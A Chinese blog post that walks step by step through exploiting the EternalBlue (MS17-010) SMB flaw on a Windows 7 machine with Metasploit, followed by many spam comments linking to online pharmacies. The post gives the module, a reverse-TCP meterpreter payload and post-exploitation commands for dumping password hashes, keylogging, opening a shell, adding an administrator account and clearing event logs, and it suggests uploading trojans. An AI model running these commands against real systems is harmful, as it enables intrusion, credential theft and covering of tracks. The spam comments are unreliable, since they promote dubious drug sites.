入侵445端口-永恒之蓝漏洞利用-Metasploit

永恒之蓝

 

WannaCry勒索软件中,利用了NSA泄露工具中的“永恒之蓝”漏洞

445端口就是永恒之蓝的入口

我们利用kali里面的Metapsloit工具进行渗透测试(不知道Metasploit百度一下)

测试环境如下

kali的IP:192.168.113.166

win7靶机IP:192.168.84.130

利用模块:ms17_010_eternalblue

 

1.kali打开Metasploit

1.在终端输入(输入几个字母按Tab键可以自动补全)

msfconsole

2019-11-04 08-18-41 的屏幕截图.png

2.打开模块(输入几个字母按Tab键可以自动补全)

use exploit/windows/smb/ms17_010_eternalblue

2019-11-04 08-20-00 的屏幕截图.png

3.设置输入win7靶机IP地址

set RHOSTS 192.168.9.51

2019-11-04 08-22-50 的屏幕截图.png

4.设置攻击负载模块

set payload windows/x64/meterpreter/reverse_tcp

2019-11-04 08-23-46 的屏幕截图.png

5.设置kali的IP

set LHOST 192.168.119.98

2019-11-04 08-25-07 的屏幕截图.png

6.设置监听端口

set LPORT 5555

2019-11-04 08-25-30 的屏幕截图.png

 

7.开始执行模块

exploit

2019-11-04 08-25-54 的屏幕截图.png

8.成功入侵win7靶机

2019-11-04 08-26-46 的屏幕截图.png

(1)我们可以查看他的账户密码的加密值

hashdump

2019-11-04 08-27-05 的屏幕截图.png

 

(2)我们也可以查看他目前屏幕在做什么

screenhot

2019-11-04 08-27-39 的屏幕截图.png

(3)也可以记录他的键盘

keyscan_start 

下载键盘记录

keyscan_dump 

或者上传个木马之类的,总之有很多功能来利用,具体的可以百度查查

(4)获取该计算机已经登陆的账户密码

Kerberos

(5)开启3389端口

 

(6)获取该计算机的超级管理员权限

shell

2019-11-04 08-28-50 的屏幕截图.png

然后可以执行cmd命令

添加一个帐号

net user test 123456 /add

2019-11-04 08-30-17 的屏幕截图.png

升级为管理员帐号

2019-11-04 08-33-49 的屏幕截图.png

也可以执行一些你想要的命令

exit  //退出shell
clearev    //清楚操作日志

2019-11-04 08-35-23 的屏幕截图.png

 

 

445端口永恒之蓝,是个非常危险的漏洞,如果你计算机上也有这个漏洞,不想被看光隐私的话不妨打个补丁

http://www.catalog.update.microsoft.com/search.aspx?q=kb4012212

 

--小顾

本博客所有文章如无特别注明均为原创。作者:GS小顾复制或转载请以超链接形式注明转自 世纪博客
原文地址《入侵445端口-永恒之蓝漏洞利用-Metasploit
分享到:更多

相关推荐

发表评论

路人甲 表情
看不清楚?点图切换 Ctrl+Enter快速提交

网友评论(17325)

I've lost my bank card <a href="https://explosivefunctionalfitness.com/accucare-pharmacy-sugar-land-tx-359b.pdf">accucare pharmacy middletown hours</a>  Antibiotics such as Doxycycline, Gentamycin and Streptomycin are among the standard antibiotics for treatment of plague.  Quinolone antibiotics such as Ciprofloxacin along with Levofloxicin, are both effective treatments for plague. Levofloxicin was additionally approved in 2012 as another treatment for plague.
Adolfo 2个月前(08-30) 回复
I'd like to take the job <a href="https://qristianoba.ge/stendra-rx-09vj">avanafil review</a>  M W Group and Amec submitted offers for Kentz earlier thisyear, both of which were rejected by Kentz. Amec's rejectedoffer had valued the company at about 680 million pounds ($1.08billion) compared to a market capitalisation of 561 millionpounds before the offer was made public.
Arthur 2个月前(08-30) 回复
Have you seen any good films recently? <a href="http://esselfire.com/pharmacy/index.php/cialis-prices-in-the-united-states-eafb">generic v real cialis</a>  Copper, too, rose in response to the dollar's retreat,recovering from a sharp decline on Friday when investors worriedabout growth prospects in China and Europe. Those concerns tooka back seat on Monday, but held gains in check.
Jarrett 2个月前(08-30) 回复
Wonderfull great site <a href="https://abeatic.com/proscar-online-uk-2p3y">proscar price uk</a>  "My message and commitment to offshore workers and everyone with an interest in our industry is that we will continue to do everything humanly possible to ensure we get them to work and get home safely every time.
Winfred 2个月前(08-30) 回复
Have you read any good books lately? <a href="http://labradorretrieverpuppywire.com/pharmacy/index.php/silagra-malaysia-d6e2">silagra pharmacy</a>  Lemonade, sweet tea, smoothies, iced coffee drinks…they all tend to be summertime go-tos. But each is loaded with added sugar, which according to published research, won't fill you up. In other words, when you eat 250 calories worth of solid food, you tend to eat less of other things. But when you take in the same number of calories from a 20-ounce bottle of lemonade, those digits just get tacked onto the total, rather than displacing other foods. And in many cases, downing a frosty drink is like sipping dessert through a straw–a 16-ounce strawberry smoothie and a medium sized vanilla blended coffee drink each pack about 300 calories, the amount in a cupcake or glazed donut.
Miquel 2个月前(08-30) 回复
A few months <a href="http://www.p3logistics.in/pharmacy/index.php/risperidone-microspheres-preparation-1lbp">does risperdal slow down your metabolism</a>  That particular variant will apparently go up for grabs in a week or two for $799 (keyboard dock included), but if you need a performance upgrade, you can always opt for the Intel Core i3, i5 or i7 configs, featuring up to 512 GB of storage. Only, you know, those are set to be much pricier, albeit the exact details continue for some reason to be kept under wraps.
Jamal 2个月前(08-30) 回复
Good crew it's cool :) <a href="http://esselfire.com/pharmacy/index.php/does-generic-domperidone-work-8z2d">motilium tablets</a>  Industries increasingly share techniques for using Space Age materials adopted early on by yacht builders. Carbon fiber and titanium are the favorites to reduce weight and cost, and add strength to hulls, airframes and components.
Leslie 2个月前(08-30) 回复
I can't stand football <a href="https://myjogjatrips.com/combivent-monodosis-para-nebulizacion-rob4">combivent neb</a>  The outbreak of a diarrheal disease has been linked, at least in Iowa and Nebraska, to a food service salad mix sold to Olive Garden and Red Lobster restaurants. The salad mix was produced by the Mexican subsidiary of an American food-service company, the Food and Drug Administration said Friday.
Homer 2个月前(08-30) 回复
I never went to university <a href="https://www.andrealorenzetti.it/how-much-does-viagra-cost-in-australia-with-a-prescription-yzfh">how much does viagra cost in australia with a prescription</a>  The Brahmi slaying intensified the unrest, sparking massive anti-government demonstrations with calls for the resignation of the elected assembly and the governing coalition who have been blamed for failing to curb growing extremism.
Johnie 2个月前(08-30) 回复
I'd like to tell you about a change of address <a href="https://www.troystrimsandtreats.com/doxycycline-online-australia-wsod">buying doxycycline online</a>  If you feel you're falling behind in the income race, it's not just your imagination. The wealth gap between the top 1% and the bottom 99% in the U.S. is as wide as it's been in nearly 100 years, a new study finds.
Kurtis 2个月前(08-30) 回复
1 2 3 4 5 6 7 8 9 ... »